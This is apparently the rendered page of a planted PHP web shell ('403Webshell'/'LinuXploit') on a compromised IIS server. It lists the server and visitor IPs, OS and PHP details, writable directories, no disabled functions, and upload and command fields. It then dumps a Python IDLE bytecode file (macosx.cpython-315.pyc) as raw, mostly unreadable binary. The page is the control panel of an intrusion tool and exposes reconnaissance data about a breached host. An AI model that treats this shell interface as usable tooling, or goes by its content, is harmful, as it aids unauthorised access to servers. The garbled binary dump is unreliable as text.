403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/idlelib/__pycache__/macosx.cpython-315.pyc
R
>lqjO%c��Qs]QHGs]PHs]QHGs]PHsPrQsQs	Qs
QsQsQs
Q	sQ
sQsQsQ
sQs\Q6Xc]QHTGs\Q]Q5P!P!)z3
A number of functions that enhance IDLE on macOS.
)�
expanduser)�platformc�b�[Q6Xc�]QHGoU%c]QHGoGoUQ2[O2oUOOQQ2oQU7cQ	rL$Q
U7cQrLQUO27cQrLQ
rUO2P!QrP!ScQrP!h9h)zlInitialize _tk_type for isXyzTk functions.

This function is only called once, when _tk_type is still None.
�darwin)�testing)�requires�ResourceDenied�gui�cocoa�tk�windowingsystem�x11�xquartz�aqua�other�AppKit�carbon)
r�idlelib.__init__r�test.supportrr�_tk_type�tkinter�Tkr
�call�winfo_server�destroy)rrr�root�wss     �#C:\Python315\\Lib\idlelib\macosx.py�
_init_tk_typers����8��
	-��=�
����
�z�z�|��
�W�W�\�\�$� 1�
2���B�;� �H�
�2�
��H�
��*�*�,�
,��H��H��������
��#"�
�"���
�s�B!�!B.�'B.�-B.c�d�[%f[2[Q6H9%f
[Q6H!)zC
Returns True if IDLE is using a native OS X Tk (Cocoa or Carbon).
r	r�rr��r�isAquaTkr"3s&���8����w��6�6�(�h�"6�6r!c�B�[%f[2[Q6H!)zV
Returns True if IDLE is using a Carbon Aqua Tk (instead of the
newer Cocoa Aqua Tk).
rrr r!r�
isCarbonTkr$;s��
�8����x��r!c�B�[%f[2[Q6H!)z0
Returns True if IDLE is using a Cocoa Aqua Tk.
r	rr r!r�	isCocoaTkr&Ds���8����w��r!c�B�[%f[2[Q6H!)z/
Returns True if IDLE is using an OS X X11 Tk.
r
rr r!r�	isXQuartzr(Ls���8����y� � r!c���[Q6wcP![Q2o[UQ29^tt^2o[OU2ttPPP2!)%fhP!9h[
cP!h9h)z%
Fetch the macOS system preferences.
rz.~/Library/Preferences/.GlobalPreferences.plist�rb)rr�open�plistlib�load�OSError)�
plist_path�
plist_files  r�readSystemPreferencesr1UsZ���8����L�M�J��
�*�d�
#�
#�z��=�=��,�$�
#�
#�
#������s:�A$�A�
A$�A!	�A!	�A$�!A$�$	A3�.A3�2A3c�x�[Q6wcP![2oU%cUOQ2Q6XcQ!P!)zB
Warn if "Prefer tabs when opening documents" is set to "Always".
r�AppleWindowTabbingMode�alwaysz�WARNING: The system preference "Prefer tabs when opening documents" is set to "Always". This will cause various problems with IDLE. For the best experience, change this setting when running IDLE (via System Preferences -> Dock).)rr1�get)�prefss r�preferTabsPreferenceWarningr7ds:���8���!�#�E�����3�4��@�
>�	
�r!c�:`�U1QkoUOQU2P!)z�
This ensures that the application will respond to open AppleEvents, which
makes is feasible to use IDLE as the default application for python files.
c�@:�SFDoROU2J	P!�N)r+)�args�fn�flists* �r�
doOpenFile�'addOpenEventSupport.<locals>.doOpenFile}s����B��J�J�r�N�r!z::tk::mac::OpenDocument)�
createcommand)rr=r>s&f r�addOpenEventSupportrAxs���
�	���0�*�=r!c�z�UOOQQ2P![OcP!h9h)�console�hide)r
rr�TclError�rs&r�
hideTkConsolerG�s1��
������Y��'�����
��
�s�!�:�:�:c�p```�]QHGo]QH
Go]QH
GnUO
]*]*Q*oUO
]*]*QP/UO
]*]*O
]U2UO
P*]*QUO
Q*]*QUR2oROUQ5UUQ]Q5oUOQU]Q	5U1U1Q
kkoROU2QU1QkkoQUU1Qkko	QU1Q
kko
ROQU2ROQU	2ROQU	2R%c9ROQRO2ROQRO2[2%c?UUQ]Q5oUOQUQ5UO
O
]QQP,12[2%cBROQU2ROQU
2UO
P*]*]P!P!)zZ
Replace the Tk root menu by something that is more appropriate for
IDLE with an Aqua Tk.
)�Menu)�mainmenu)�window:��N)�menurK)�name�tearoff�Window)�labelrN�	underlinec�:�UOQ2oUePoU]6�cUO]U2ROU2P!)�end)�index�delete�add_windows_to_menu)rNrUrKs& �r�postwindowsmenu�)overrideRootMenu.<locals>.postwindowsmenu�s>����j�j�����;��C���7��K�K��3���"�"�4�(r!c�8:�]QHGoUOR2P!)zHandle Help 'About IDLE' event.)�
help_about)�idlelibr\�AboutDialog)�eventr\rs& �r�about_dialog�&overrideRootMenu.<locals>.about_dialog�s���	'����t�$r!c�\:�]QHGoRORmUO	RQ2P!)z&Handle Options 'Configure IDLE' event.)�configdialog�Settings)r]rc�inversedict�
instance_dict�ConfigDialog)r_rcr=rs& ��r�
config_dialog�'overrideRootMenu.<locals>.config_dialog�s(���	)�#�.�.����!�!�$�
�3r!c�8:�]QHGoUOR2P!)zHandle Help 'IDLE Help' event.)�help)r]rk�
show_idlehelp)r_rkrs& �r�help_dialog�%overrideRootMenu.<locals>.help_dialog�s���	!����4� r!�<<about-idle>>z<<open-config-dialog>>z::tk::mac::ShowPreferencesz<<close-all-windows>>z::tk::mac::Quit�apple�IDLE)rRrN�application�
tkAboutDialogz::tk::mac::ShowHelp������r:)z
About IDLEro)rrIr]rJrK�menudefs�insert�	configure�add_cascade�register_callback�bindr@�close_all_callbackr$r&)rr=rIrJ�	closeItem�menubarrNrYr`rhrmrKsff         @r�overrideRootMenur�s���� � ���!�!�!�$�Q�'��+�I�
	���!��Q����$����a����"�"�1�i�0�	���"��a� ��%�	���"��a� ��%��4�j�G��N�N��N� ���h��2�D����h�T�Q��?�!�)����_�-�%�
4�
4�!�	�I�I���-��I�I�&�
�6����3�]�C���	�	�)�5�+C�+C�D�
	
���,�e�.F�.F�G��|�|��G�'�1�5�����&�t��4���� � ��
�0���
�	�
�{�{����?�L�9����0�+�>����b�!�!�$�Q�'�
r!c�t�UOQQ2UOQQ2UOQQ2P!)z�Removed bad AquaTk Button-2 (right) and Paste bindings.

They prevent context menu access and seem to be gone in AquaTk8.6.
See issue #24801.
�Textz<B2>z<B2-Motion>z<<PasteSelection>>)�unbind_classrFs&r�fixb2contextr��s5��	���f�f�%����f�m�,����f�2�3r!c��[2%c/[U2[V2[V2[	U2P!P!)a�
Perform initial OS X customizations if needed.
Called from pyshell.main() after initial calls to Tk()

There are currently three major versions of Tk in use on OS X:
    1. Aqua Cocoa Tk (native default since OS X 10.6)
    2. Aqua Carbon Tk (original native, 32-bit only, deprecated)
    3. X11 (supported by some third-party distributors, deprecated)
There are various differences among the three that affect IDLE
behavior, primarily with menus, mouse key events, and accelerators.
Some one-time customizations are performed here.
Others are dynamically tested throughout idlelib by calls to the
isAquaTk(), isCarbonTk(), isCocoaTk(), isXQuartz() functions which
are initialized here as well.
)r"rGrrAr�)rr=s&&r�setupAppr��s0�� �z�z��d����%��D�(��T��	r!�__main__)�mainzidlelib.idle_test.test_macosx)�	verbosity)�__doc__�os.pathrr,�sysrrrrr"r$r&r(r1r7rArGrr�r��__name__�unittestr�r r!r�<module>r�s{���������!�F7� ��!���(>�
�d(�L4��.�z����	(�A�6�r!

Youez - 2016 - github.com/yon3zu
LinuXploit